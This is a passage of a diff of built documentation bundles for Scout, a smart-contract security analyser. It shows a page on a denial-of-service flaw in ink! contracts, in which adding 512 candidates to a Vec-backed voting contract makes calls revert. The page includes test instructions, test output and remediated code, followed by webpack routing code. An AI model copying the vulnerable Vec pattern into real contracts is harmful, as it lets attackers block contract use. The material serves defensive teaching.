purpose of this test is to trigger an unexpected revert due\nto the contract's storage size, but this does not occur since the deployment\nis mocked and does not check the size of storage cells."),(0,r.kt)("p",null,"On the other hand, the end to end test instantiates the contract using\n",(0,r.kt)("inlineCode",{parentName:"p"},"ink_e2e::alice()")," as the deployer account and an ",(0,r.kt)("inlineCode",{parentName:"p"},"UnexpectedRevertRef"),"\ninstance with a specified now value. It then uses a loop to add 512 candidates\nto the contract by calling the add_candidate function for each candidate\naccount."),(0,r.kt)("p",null,"The loop generates a unique ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId")," for each candidate by creating a\nvector of 28 zeroes, appending the current index as a big-endian byte array,\nand converting the resulting vector to a fixed-length array of 32 bytes."),(0,r.kt)("p",null,"The test expects the ",(0,r.kt)("inlineCode",{parentName:"p"},"add_candidate()")," function to fail with a ",(0,r.kt)("inlineCode",{parentName:"p"},"CallDryRun")," error,\nwhich indicates that the transaction execution failed during a dry run. This\nis indicated by the ",(0,r.kt)("inlineCode",{parentName:"p"},'#[should_panic(expected = "add_candidate failed: CallDryRun")]'),"\nattribute on the test function. This test ",(0,r.kt)("em",{parentName:"p"},"does")," trigger an unexpected revert\ndue to the contract's storage size."),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1/vulnerable-example/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment-of-the-vulnerable-contract"},"Deployment (of the vulnerable contract)"),(0,r.kt)("p",null,"In order to run the tests associated to this contract and view this\nvulnerability in action:"),(0,r.kt)("ol",null,(0,r.kt)("li",{parentName:"ol"},"Save the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory."),(0,r.kt)("li",{parentName:"ol"},"Run a substrate node and save its ",(0,r.kt)("inlineCode",{parentName:"li"},"FULL_PATH"),"."),(0,r.kt)("li",{parentName:"ol"},"Open a new terminal at the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory and set the\ncontract node environmental variable by running:\n",(0,r.kt)("inlineCode",{parentName:"li"},"export CONTRACTS_NODE=[FULL_PATH]")),(0,r.kt)("li",{parentName:"ol"},"Finally, run the test with:\n",(0,r.kt)("inlineCode",{parentName:"li"},"cargo test --features e2e-tests"))),(0,r.kt)("p",null,"You should see that the vulnerability is not realized for the integration test\nsince the deployment is mocked and does not check the size of storage cells,\nbut it is for the e2e-test."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo test --features e2e-tests\n\n Updating crates.io index\n Downloaded toml_edit v0.19.7\n\n ...\n\n Compiling metadata-gen v0.1.0 (/tmp/cargo-contract_5urX7T/.ink/metadata_gen)\n Finished release [optimized] target(s) in 1m 06s\n Running `target/ink/release/metadata-gen`\n [5/5] Generating bundle\n Finished test [unoptimized + debuginfo] target(s) in 15m 02s\n Running unittests lib.rs (target/debug/deps/unexpected_revert-feae385052f36b92)\n\nrunning 2 tests\ntest unexpected_revert::tests::insert_512_candidates ... ok\ntest unexpected_revert::e2e_tests::insert_512_candidates - should panic ... ok\n\ntest result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 59.94s\n\n Doc-tests unexpected-revert\n\nrunning 0 tests\n\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\n\n")),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"In order to prevent this vulnerability we discourage the use of ",(0,r.kt)("inlineCode",{parentName:"p"},"Vec")," and\npropose the use of ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," in order to avoid storage limits in the list of candidates."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#![cfg_attr(not(feature = "std"), no_std)]\n\n#[ink::contract]\nmod unexpected_revert {\n use ink::storage::Mapping;\n #[ink(storage)]\n pub struct UnexpectedRevert {\n /// Total votes performed.\n total_votes: u64,\n /// Total candidates.\n total_candidates: u64,\n /// List of candidates.\n candidates: Mapping,\n /// Votes for each candidate.\n votes: Mapping,\n /// Accounts that already voted.\n already_voted: Mapping,\n /// Account id of the most voted candidate.\n most_voted_candidate: AccountId,\n /// Votes of the most voted candidate\n candidate_votes: u64,\n /// Timestamp when the vote ends.\n vote_timestamp_end: u64,\n }\n\n #[derive(Debug, PartialEq, Eq, Clone, scale::Encode, scale::Decode)]\n #[cfg_attr(feature = "std", derive(::scale_info::TypeInfo))]\n pub enum Errors {\n /// Account already voted.\n AccountAlreadyVoted,\n /// Candidate already added.\n CandidateAlreadyAdded,\n /// Candidate doesn\'t exist.\n CandidateDoesntExist,\n /// Overflow was detected.\n Overflow,\n /// Timestamp before current block.\n TimestampBeforeCurrentBlock,\n /// Vote ended.\n VoteEnded,\n }\n\n impl UnexpectedRevert {\n /// Constructor that initializes the `bool` value to the given `init_value`.\n #[ink(constructor)]\n pub fn new(end_timestamp: u64) -> Result {\n if end_timestamp <= Self::env().block_timestamp() {\n return Err(Errors::TimestampBeforeCurrentBlock);\n }\n let zero_arr: [u8; 32] = [0; 32];\n let zero_addr = AccountId::from(zero_arr);\n Ok(Self {\n total_votes: 0,\n total_candidates: 0,\n most_voted_candidate: zero_addr,\n candidate_votes: 0,\n candidates: Mapping::default(),\n already_voted: Mapping::default(),\n votes: Mapping::default(),\n vote_timestamp_end: end_timestamp,\n })\n }\n\n /// Add a candidate to this vote\n #[ink(message)]\n pub fn add_candidate(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n if self.votes.contains(candidate) {\n Err(Errors::CandidateAlreadyAdded)\n } else {\n self.candidates.insert(self.total_candidates, &candidate);\n self.total_candidates += 1;\n self.votes.insert(candidate, &0);\n Ok(())\n }\n }\n\n /// Returns votes for a given candidate.\n #[ink(message)]\n pub fn get_votes_for_a_candidate(&self, candidate: AccountId) -> Result {\n let votes_opt = self.votes.get(candidate);\n if votes_opt.is_none() {\n Err(Errors::CandidateDoesntExist)\n } else {\n Ok(votes_opt.unwrap())\n }\n }\n\n /// Returns votes for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate_votes(&self) -> u64 {\n self.candidate_votes\n }\n\n /// Returns account id for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate(&self) -> AccountId {\n self.most_voted_candidate\n }\n\n /// Returns total votes performed.\n #[ink(message)]\n pub fn get_total_votes(&self) -> u64 {\n self.total_votes\n }\n\n /// Returns total candidates.\n #[ink(message)]\n pub fn get_total_candidates(&self) -> u64 {\n self.total_candidates\n }\n\n /// Returns candidate at index.\n #[ink(message)]\n pub fn get_candidate(&self, index: u64) -> Result {\n match self.candidates.get(index) {\n Some(candidate) => Ok(candidate),\n None => Err(Errors::CandidateDoesntExist),\n }\n }\n\n /// Returns true if the account has already voted.\n #[ink(message)]\n pub fn account_has_voted(&self, account: AccountId) -> bool {\n self.already_voted.get(account).unwrap_or(false)\n }\n\n /// Vote for one of the candidates.\n #[ink(message)]\n pub fn vote(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n let caller = self.env().caller();\n if self.already_voted.contains(caller) {\n Err(Errors::AccountAlreadyVoted)\n } else {\n self.already_voted.insert(caller, &true);\n let votes = self\n .votes\n .get(candidate)\n .ok_or(Errors::CandidateDoesntExist)?\n .checked_add(1)\n .ok_or(Errors::Overflow)?;\n self.votes.insert(candidate, &votes);\n self.total_votes.checked_add(1).ok_or(Errors::Overflow)?;\n if self.candidate_votes < votes {\n self.candidate_votes = votes;\n self.most_voted_candidate = candidate;\n }\n Ok(())\n }\n }\n\n /// Returns true if the vote has ended.\n #[ink(message)]\n pub fn vote_ended(&self) -> bool {\n self.vote_timestamp_end <= self.env().block_timestamp()\n }\n }\n\n #[cfg(test)]\n mod tests {\n use super::*;\n use std::time::SystemTime;\n\n #[ink::test]\n fn insert_512_candidates() {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let mut contract = UnexpectedRevert::new(now).unwrap();\n\n let mut candidate: Result<(), Errors> = Err(Errors::VoteEnded);\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n candidate = contract.add_candidate(addr);\n assert_eq!(contract.get_total_candidates(), (i + 1) as u64);\n }\n\n assert_eq!(contract.get_total_candidates(), 512u64);\n assert_eq!(candidate.is_ok(), true);\n }\n }\n\n #[cfg(all(test, feature = "e2e-tests"))]\n mod e2e_tests {\n use super::*;\n use ink_e2e::build_message;\n use std::time::SystemTime;\n\n #[ink_e2e::test]\n async fn insert_512_candidates(mut client: ink_e2e::Client) {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let constructor = UnexpectedRevertRef::new(now);\n let contract_acc_id = client\n .instantiate("unexpected-revert", &ink_e2e::alice(), constructor, 0, None)\n .await\n .expect("instantiate failed")\n .account_id;\n\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n\n let add_candidate = build_message::(contract_acc_id.clone())\n .call(|contract| contract.add_candidate(addr));\n client\n .call(&ink_e2e::bob(), add_candidate.clone(), 0, None)\n .await\n .expect("add_candidate failed");\n }\n let get_total_candidates =\n build_message::(contract_acc_id.clone())\n .call(|contract| contract.get_total_candidates());\n let candidates_count = client\n .call(&ink_e2e::bob(), get_total_candidates.clone(), 0, None)\n .await\n .expect("candidates_count failed");\n assert_eq!(candidates_count.return_value(), 512);\n }\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1/remediated-example/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment-of-the-remediated-contract"},"Deployment (of the remediated contract)"),(0,r.kt)("p",null,"In order to run the tests associated to this remediated contract in action:"),(0,r.kt)("ol",null,(0,r.kt)("li",{parentName:"ol"},"Save the ",(0,r.kt)("inlineCode",{parentName:"li"},"remediated-example")," directory."),(0,r.kt)("li",{parentName:"ol"},"Run a substrate node and save its ",(0,r.kt)("inlineCode",{parentName:"li"},"FULL_PATH"),"."),(0,r.kt)("li",{parentName:"ol"},"Open a new terminal at the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory and set the contract node environmental variable by running:\n",(0,r.kt)("inlineCode",{parentName:"li"},"export CONTRACTS_NODE=[FULL_PATH]")),(0,r.kt)("li",{parentName:"ol"},"Finally, run the test with:\n",(0,r.kt)("inlineCode",{parentName:"li"},"cargo test --features e2e-tests"))),(0,r.kt)("p",null,"You should see that the vulnerability is not realized for any of the tests."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo test --features e2e-tests\n\n Updating crates.io index\n Compiling unicode-ident v1.0.8\n\n ...\n\n [5/5] Generating bundle\n Finished test [unoptimized + debuginfo] target(s) in 14m 24s\n Running unittests lib.rs (target/debug/deps/unexpected_revert-feae385052f36b92)\n\nrunning 2 tests\ntest unexpected_revert::tests::insert_512_candidates ... ok\ntest unexpected_revert::e2e_tests::insert_512_candidates ... ok\n\ntest result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 46.06s\n\n Doc-tests unexpected-revert\n\nrunning 0 tests\n\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\n\n")),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-113"},"SWC-113")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-unexpected-revert"},"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-unexpected-revert")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5"},"Ethernaut: King"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/main.4fc86097.js b/assets/js/main.143abc02.js similarity index 86% rename from assets/js/main.4fc86097.js rename to assets/js/main.143abc02.js index 6c82d11b..d536da21 100644 --- a/assets/js/main.4fc86097.js +++ b/assets/js/main.143abc02.js @@ -1,2 +1,2 @@ -/*! For license information please see main.4fc86097.js.LICENSE.txt */ -(self.webpackChunkscout=self.webpackChunkscout||[]).push([[179],{4383:(e,t,n)=>{var r={"./prism-rust":457,"./prism-toml":4265};function a(e){var t=o(e);return n(t)}function o(e){if(!n.o(r,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return r[e]}a.keys=function(){return Object.keys(r)},a.resolve=o,e.exports=a,a.id=4383},1737:(e,t,n)=>{"use strict";n.d(t,{Z:()=>p});var r=n(9496),a=n(2564),o=n(2423),i=n.n(o),s=n(6887);const l={"01a85c17":[()=>Promise.all([n.e(532),n.e(4013)]).then(n.bind(n,1826)),"@theme/BlogTagsListPage",1826],"08b5abbb":[()=>n.e(3529).then(n.bind(n,7927)),"@site/docs/detectors/12-zero-or-test-address.md",7927],"0b5b13ed":[()=>n.e(2696).then(n.t.bind(n,4391,19)),"~blog/default/scout-blog-tags-hello-67d.json",4391],"0e384e19":[()=>n.e(9671).then(n.bind(n,4771)),"@site/docs/intro.md",4771],"0e5fb7e3":[()=>n.e(3687).then(n.bind(n,8561)),"@site/docs/vulnerabilities/23-lazy-delegate.md",8561],"0ffb054f":[()=>n.e(2336).then(n.bind(n,9820)),"@site/docs/detectors/28-lazy-values-not-set.md",9820],"10e1de95":[()=>n.e(7139).then(n.bind(n,9065)),"@site/docs/detectors/14-unrestricted-transfer-from.md",9065],"124edd55":[()=>n.e(4205).then(n.bind(n,8210)),"@site/docs/vulnerabilities/README.md",8210],"1535e1e7":[()=>n.e(2188).then(n.bind(n,8882)),"@site/docs/detectors/18-unprotected-self-destruct.md",8882],17896441:[()=>Promise.all([n.e(532),n.e(7430),n.e(7918)]).then(n.bind(n,1674)),"@theme/DocItem",1674],"1be78505":[()=>Promise.all([n.e(532),n.e(9514)]).then(n.bind(n,6680)),"@theme/DocPage",6680],"1cc114b2":[()=>n.e(7059).then(n.bind(n,4118)),"@site/docs/detectors/20-ink-version.md",4118],"1df93b7f":[()=>Promise.all([n.e(532),n.e(3237)]).then(n.bind(n,2369)),"@site/src/pages/index.tsx",2369],"1f391b9e":[()=>Promise.all([n.e(532),n.e(7430),n.e(3085)]).then(n.bind(n,2795)),"@theme/MDXPage",2795],"243618b7":[()=>n.e(1699).then(n.t.bind(n,9080,19)),"~blog/default/scout-blog-tags-hola-ee9.json",9080],"2cbb2c92":[()=>n.e(4209).then(n.bind(n,7566)),"@site/docs/vulnerabilities/8-unsafe-expect.md",7566],"393be207":[()=>n.e(7414).then(n.bind(n,3942)),"@site/src/pages/markdown-page.md",3942],"3948feef":[()=>n.e(2688).then(n.bind(n,3664)),"@site/docs/vulnerabilities/2-set-contract-storage.md",3664],"3c4d22c1":[()=>n.e(7063).then(n.bind(n,2115)),"@site/docs/vulnerabilities/15-assert-violation.md",2115],"3ee3ec0f":[()=>n.e(7584).then(n.bind(n,2471)),"@site/docs/detectors/19-iterators-over-indexing.md",2471],"3fc11f3e":[()=>n.e(7119).then(n.t.bind(n,4422,19)),"~blog/default/scout-blog-archive-6da.json",4422],"428dabee":[()=>n.e(4667).then(n.bind(n,7100)),"@site/docs/vulnerabilities/33-dont-use-instantiate-contract-v1.md",7100],"4831a608":[()=>n.e(5405).then(n.bind(n,9257)),"@site/docs/detectors/4-panic-error.md",9257],"49e536ee":[()=>n.e(1270).then(n.bind(n,2830)),"@site/docs/detectors/23-lazy-delegate.md",2830],"4ba7e5a3":[()=>n.e(9735).then(n.bind(n,9921)),"@site/docs/contribute.md",9921],"4c59ca6b":[()=>n.e(8280).then(n.bind(n,5326)),"@site/docs/detectors/6-dos-unbounded-operation.md",5326],"5182c60c":[()=>n.e(9363).then(n.bind(n,2493)),"@site/docs/vulnerabilities/1-integer-overflow-or-underflow.md",2493],"51bdbc41":[()=>n.e(6516).then(n.bind(n,538)),"@site/docs/vulnerabilities/3-reentrancy.md",538],"5281b7a2":[()=>n.e(5927).then(n.bind(n,2358)),"@site/docs/architecture.md",2358],"551a9eac":[()=>n.e(7628).then(n.t.bind(n,4469,19)),"/home/runner/work/scout/scout/docs/.docusaurus/docusaurus-plugin-content-blog/default/plugin-route-context-module-100.json",4469],"558b4000":[()=>n.e(389).then(n.bind(n,2622)),"@site/docs/detectors/1-integer-overflow-or-underflow.md",2622],59362658:[()=>n.e(2267).then(n.bind(n,3744)),"@site/blog/2021-08-01-mdx-blog-post.mdx",3744],"5e9f5e1a":[()=>Promise.resolve().then(n.bind(n,6809)),"@generated/docusaurus.config",6809],"5f7799ac":[()=>n.e(3771).then(n.t.bind(n,7352,19)),"~blog/default/scout-blog-tags-facebook-e18-list.json",7352],"607556d2":[()=>n.e(6009).then(n.bind(n,1917)),"@site/docs/detectors/8-unsafe-expect.md",1917],"639e0dfa":[()=>n.e(6882).then(n.t.bind(n,5745,19)),"/home/runner/work/scout/scout/docs/.docusaurus/docusaurus-plugin-content-pages/default/plugin-route-context-module-100.json",5745],"64f73086":[()=>n.e(3184).then(n.t.bind(n,1054,19)),"~blog/default/scout-blog-tags-hello-67d-list.json",1054],"665fb54a":[()=>n.e(5388).then(n.bind(n,5127)),"@site/docs/detectors/2-set-contract-storage.md",5127],"6875c492":[()=>Promise.all([n.e(532),n.e(7430),n.e(9135),n.e(8610)]).then(n.bind(n,5264)),"@theme/BlogTagsPostsPage",5264],"69a002ee":[()=>n.e(2924).then(n.bind(n,4488)),"@site/docs/vulnerabilities/20-ink-version.md",4488],"69cd82a3":[()=>n.e(1058).then(n.t.bind(n,5192,19)),"~blog/default/scout-blog-tags-facebook-e18.json",5192],"6abe9605":[()=>n.e(3372).then(n.bind(n,234)),"@site/docs/vulnerabilities/11-delegate-call.md",234],"6db42b5f":[()=>n.e(9336).then(n.bind(n,9293)),"@site/docs/vulnerabilities/21-unprotected-set-code-hash.md",9293],"73664a40":[()=>n.e(3514).then(n.bind(n,7913)),"@site/blog/2019-05-29-long-blog-post.md",7913],"7661071f":[()=>n.e(9642).then(n.bind(n,4335)),"@site/blog/2021-08-26-welcome/index.md?truncated=true",4335],"7792a21f":[()=>n.e(6716).then(n.bind(n,2582)),"@site/src/pages/about.js",2582],"7a155d43":[()=>n.e(907).then(n.bind(n,7088)),"@site/docs/vulnerabilities/17-avoid-format-string.md",7088],"7cd38dd3":[()=>n.e(1329).then(n.bind(n,2683)),"@site/docs/detectors/21-unprotected-set-code-hash.md",2683],"814f3328":[()=>n.e(2535).then(n.t.bind(n,5641,19)),"~blog/default/blog-post-list-prop-default.json",5641],"858070c5":[()=>n.e(5494).then(n.bind(n,800)),"@site/docs/detectors/13-insufficiently-random-values.md",800],"8717b14a":[()=>n.e(948).then(n.bind(n,1085)),"@site/blog/2019-05-29-long-blog-post.md?truncated=true",1085],"8bee2a8a":[()=>n.e(8620).then(n.bind(n,3229)),"@site/docs/detectors/10-divide-before-multiply.md",3229],"925b3f96":[()=>n.e(9003).then(n.bind(n,3450)),"@site/blog/2019-05-28-first-blog-post.md?truncated=true",3450],"935f2afb":[()=>n.e(53).then(n.t.bind(n,1109,19)),"~docs/default/version-current-metadata-prop-751.json",1109],"99ca88ff":[()=>n.e(649).then(n.bind(n,3659)),"@site/docs/vulnerabilities/10-divide-before-multiply.md",3659],"99eaca50":[()=>n.e(1634).then(n.t.bind(n,3769,19)),"/home/runner/work/scout/scout/docs/.docusaurus/docusaurus-plugin-content-docs/default/plugin-route-context-module-100.json",3769],"9e2d31f4":[()=>n.e(4417).then(n.bind(n,9675)),"@site/docs/vulnerabilities/12-zero-or-test-address.md",9675],"9e4087bc":[()=>n.e(3608).then(n.bind(n,67)),"@theme/BlogArchivePage",67],a47fe9b6:[()=>n.e(6325).then(n.bind(n,1652)),"@site/docs/detectors/7-dos-unexpected-revert-with-vector.md",1652],a64d7d4c:[()=>n.e(153).then(n.bind(n,8817)),"@site/docs/detectors/22-unprotected-mapping-operation.md",8817],a6aa9e1f:[()=>Promise.all([n.e(532),n.e(7430),n.e(9135),n.e(3089)]).then(n.bind(n,385)),"@theme/BlogListPage",385],acaf757c:[()=>n.e(5136).then(n.bind(n,5715)),"@site/docs/detectors/3-reentrancy.md",5715],acdb390b:[()=>n.e(2680).then(n.bind(n,9457)),"@site/docs/detectors/15-assert-violation.md",9457],ad922fd8:[()=>n.e(2891).then(n.bind(n,9895)),"@site/src/pages/acknowledgements.js",9895],b4381ea5:[()=>n.e(4298).then(n.bind(n,8443)),"@site/docs/vulnerabilities/5-unused-return-enum.md",8443],bbcc19ba:[()=>n.e(1926).then(n.bind(n,7220)),"@site/docs/vulnerabilities/19-iterators-over-indexing.md",7220],be2f784f:[()=>n.e(9152).then(n.bind(n,4428)),"@site/docs/vulnerabilities/22-unprotected-mapping-operation.md",4428],bf8500d4:[()=>n.e(5458).then(n.bind(n,9165)),"@site/docs/detectors/5-unused-return-enum.md",9165],c06dddcb:[()=>n.e(8192).then(n.t.bind(n,6203,19)),"~blog/default/scout-blog-499.json",6203],c6cb2eb5:[()=>n.e(1884).then(n.bind(n,4893)),"@site/docs/vulnerabilities/14-unrestricted-transfer-from.md",4893],c8d22d86:[()=>n.e(469).then(n.bind(n,697)),"@site/docs/vulnerabilities/13-insufficiently-random-values.md",697],ca3c95aa:[()=>n.e(4915).then(n.bind(n,5581)),"@site/docs/vulnerabilities/28-lazy-values-not-set.md",5581],ccc49370:[()=>Promise.all([n.e(532),n.e(7430),n.e(9135),n.e(6103)]).then(n.bind(n,4689)),"@theme/BlogPostPage",4689],ced73c00:[()=>n.e(6623).then(n.bind(n,2106)),"@site/docs/detectors/9-unsafe-unwrap.md",2106],d9f32620:[()=>n.e(1914).then(n.bind(n,6760)),"@site/blog/2021-08-26-welcome/index.md",6760],de850f57:[()=>n.e(2247).then(n.t.bind(n,6705,19)),"~blog/default/scout-blog-tags-tags-b10.json",6705],df3a40ef:[()=>n.e(4168).then(n.t.bind(n,9640,19)),"~blog/default/scout-blog-tags-docusaurus-806.json",9640],e1597d36:[()=>n.e(1014).then(n.bind(n,4332)),"@site/docs/vulnerabilities/16-avoid-core-mem-forget.md",4332],e273c56f:[()=>n.e(2362).then(n.bind(n,1101)),"@site/blog/2019-05-28-first-blog-post.md",1101],e299c8cc:[()=>n.e(9177).then(n.t.bind(n,9286,19)),"~blog/default/scout-blog-tags-hola-ee9-list.json",9286],e5a1bf35:[()=>n.e(5784).then(n.bind(n,9753)),"@site/docs/vulnerabilities/4-panic-error.md",9753],e5c10141:[()=>n.e(58).then(n.bind(n,4405)),"@site/docs/vulnerabilities/6-dos-unbounded-operation.md",4405],f1679a91:[()=>n.e(3770).then(n.bind(n,2083)),"@site/docs/detectors/33-dont-use-instantiate-contract-v1.md",2083],f27f720e:[()=>n.e(4162).then(n.bind(n,726)),"@site/docs/detectors/README.md",726],f4f34a3a:[()=>n.e(8636).then(n.bind(n,1114)),"@site/blog/2021-08-01-mdx-blog-post.mdx?truncated=true",1114],f577790e:[()=>n.e(9302).then(n.bind(n,445)),"@site/docs/detectors/16-avoid-core-mem-forget.md",445],f5f40401:[()=>n.e(673).then(n.bind(n,9564)),"@site/docs/vulnerabilities/18-unprotected-self-destruct.md",9564],f9b37651:[()=>n.e(1612).then(n.bind(n,8492)),"@site/docs/detectors/17-avoid-format-string.md",8492],fc5a799d:[()=>n.e(4944).then(n.bind(n,1295)),"@site/docs/vulnerabilities/9-unsafe-unwrap.md",1295],fd4b4da8:[()=>n.e(5628).then(n.t.bind(n,2095,19)),"~blog/default/scout-blog-tags-docusaurus-806-list.json",2095],fe202ad0:[()=>n.e(7289).then(n.bind(n,3483)),"@site/docs/detectors/11-delegate-call.md",3483],fe4b9b8a:[()=>n.e(2148).then(n.bind(n,1364)),"@site/docs/vulnerabilities/7-dos-unexpected-revert-with-vector.md",1364]};function c(e){let{error:t,retry:n,pastDelay:a}=e;return t?r.createElement("div",{style:{textAlign:"center",color:"#fff",backgroundColor:"#fa383e",borderColor:"#fa383e",borderStyle:"solid",borderRadius:"0.25rem",borderWidth:"1px",boxSizing:"border-box",display:"block",padding:"1rem",flex:"0 0 50%",marginLeft:"25%",marginRight:"25%",marginTop:"5rem",maxWidth:"50%",width:"100%"}},r.createElement("p",null,String(t)),r.createElement("div",null,r.createElement("button",{type:"button",onClick:n},"Retry"))):a?r.createElement("div",{style:{display:"flex",justifyContent:"center",alignItems:"center",height:"100vh"}},r.createElement("svg",{id:"loader",style:{width:128,height:110,position:"absolute",top:"calc(100vh - 64%)"},viewBox:"0 0 45 45",xmlns:"http://www.w3.org/2000/svg",stroke:"#61dafb"},r.createElement("g",{fill:"none",fillRule:"evenodd",transform:"translate(1 1)",strokeWidth:"2"},r.createElement("circle",{cx:"22",cy:"22",r:"6",strokeOpacity:"0"},r.createElement("animate",{attributeName:"r",begin:"1.5s",dur:"3s",values:"6;22",calcMode:"linear",repeatCount:"indefinite"}),r.createElement("animate",{attributeName:"stroke-opacity",begin:"1.5s",dur:"3s",values:"1;0",calcMode:"linear",repeatCount:"indefinite"}),r.createElement("animate",{attributeName:"stroke-width",begin:"1.5s",dur:"3s",values:"2;0",calcMode:"linear",repeatCount:"indefinite"})),r.createElement("circle",{cx:"22",cy:"22",r:"6",strokeOpacity:"0"},r.createElement("animate",{attributeName:"r",begin:"3s",dur:"3s",values:"6;22",calcMode:"linear",repeatCount:"indefinite"}),r.createElement("animate",{attributeName:"stroke-opacity",begin:"3s",dur:"3s",values:"1;0",calcMode:"linear",repeatCount:"indefinite"}),r.createElement("animate",{attributeName:"stroke-width",begin:"3s",dur:"3s",values:"2;0",calcMode:"linear",repeatCount:"indefinite"})),r.createElement("circle",{cx:"22",cy:"22",r:"8"},r.createElement("animate",{attributeName:"r",begin:"0s",dur:"1.5s",values:"6;1;2;3;4;5;6",calcMode:"linear",repeatCount:"indefinite"}))))):null}var u=n(9671),d=n(4831);function f(e,t){if("*"===e)return i()({loading:c,loader:()=>n.e(7520).then(n.bind(n,7520)),modules:["@theme/NotFound"],webpack:()=>[7520],render(e,t){const n=e.default;return r.createElement(d.z,{value:{plugin:{name:"native",id:"default"}}},r.createElement(n,t))}});const o=s[`${e}-${t}`],f={},p=[],m=[],g=(0,u.Z)(o);return Object.entries(g).forEach((e=>{let[t,n]=e;const r=l[n];r&&(f[t]=r[0],p.push(r[1]),m.push(r[2]))})),i().Map({loading:c,loader:f,modules:p,webpack:()=>m,render(t,n){const i=JSON.parse(JSON.stringify(o));Object.entries(t).forEach((t=>{let[n,r]=t;const a=r.default;if(!a)throw new Error(`The page component at ${e} doesn't have a default export. This makes it impossible to render anything. Consider default-exporting a React component.`);"object"!=typeof a&&"function"!=typeof a||Object.keys(r).filter((e=>"default"!==e)).forEach((e=>{a[e]=r[e]}));let o=i;const s=n.split(".");s.slice(0,-1).forEach((e=>{o=o[e]})),o[s[s.length-1]]=a}));const s=i.__comp;delete i.__comp;const l=i.__context;return delete i.__context,r.createElement(d.z,{value:l},r.createElement(s,(0,a.Z)({},i,n)))}})}const p=[{path:"/scout/about",component:f("/scout/about","f03"),exact:!0},{path:"/scout/acknowledgements",component:f("/scout/acknowledgements","b43"),exact:!0},{path:"/scout/blog",component:f("/scout/blog","a06"),exact:!0},{path:"/scout/blog/archive",component:f("/scout/blog/archive","d98"),exact:!0},{path:"/scout/blog/first-blog-post",component:f("/scout/blog/first-blog-post","f32"),exact:!0},{path:"/scout/blog/long-blog-post",component:f("/scout/blog/long-blog-post","ac9"),exact:!0},{path:"/scout/blog/mdx-blog-post",component:f("/scout/blog/mdx-blog-post","611"),exact:!0},{path:"/scout/blog/tags",component:f("/scout/blog/tags","7ca"),exact:!0},{path:"/scout/blog/tags/docusaurus",component:f("/scout/blog/tags/docusaurus","b1e"),exact:!0},{path:"/scout/blog/tags/facebook",component:f("/scout/blog/tags/facebook","383"),exact:!0},{path:"/scout/blog/tags/hello",component:f("/scout/blog/tags/hello","aad"),exact:!0},{path:"/scout/blog/tags/hola",component:f("/scout/blog/tags/hola","09f"),exact:!0},{path:"/scout/blog/welcome",component:f("/scout/blog/welcome","27b"),exact:!0},{path:"/scout/markdown-page",component:f("/scout/markdown-page","485"),exact:!0},{path:"/scout/docs",component:f("/scout/docs","838"),routes:[{path:"/scout/docs/architecture",component:f("/scout/docs/architecture","3c0"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/contribute",component:f("/scout/docs/contribute","7f5"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors",component:f("/scout/docs/detectors","e4a"),e